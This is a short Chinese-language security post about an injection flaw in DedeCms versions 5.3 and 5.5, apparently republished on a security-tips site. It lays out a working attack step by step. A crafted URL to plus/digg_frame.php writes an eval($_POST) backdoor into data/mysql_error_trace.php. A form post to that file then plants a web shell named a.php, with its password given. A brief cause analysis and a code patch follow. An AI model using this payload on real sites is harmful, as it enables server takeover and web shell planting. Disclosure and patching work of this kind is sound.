DedeCms注入漏洞 影响版本5.3、5.5Posted in php

网络安全 2021-07-03 09:40www.168986.cn网络安全知识

假设域名是.abc. 攻击步骤如下
1. 访问网址
http://.abc./plus/digg_frame.php?action=good&id=1024%651024&mid=/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息

注入成功

2. 访问 http://.abc./data/mysql_error_trace.php 看到以下信息证明注入成功了。

int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; / ?>

3. 执行附件地址里的文件 test.html,注意 form 中 action 的地址是

<form action=”http://.abc./data/mysql_error_trace.php” enctype=”application/x--form-urlencoded” method=”post”>

按确定后的看到第2步骤的信息表示文件木马上传成功。

木马网址http://.abc./data/a.php
密码2006888

漏洞分析
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

解决方案

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”\r\n/\r\n{$savemsg}\r\n/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/\r\n{$savemsg}\r\n/\r\n?”.”>\r\n”);

清空 data/mysql_error_trace.php 文件内容

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by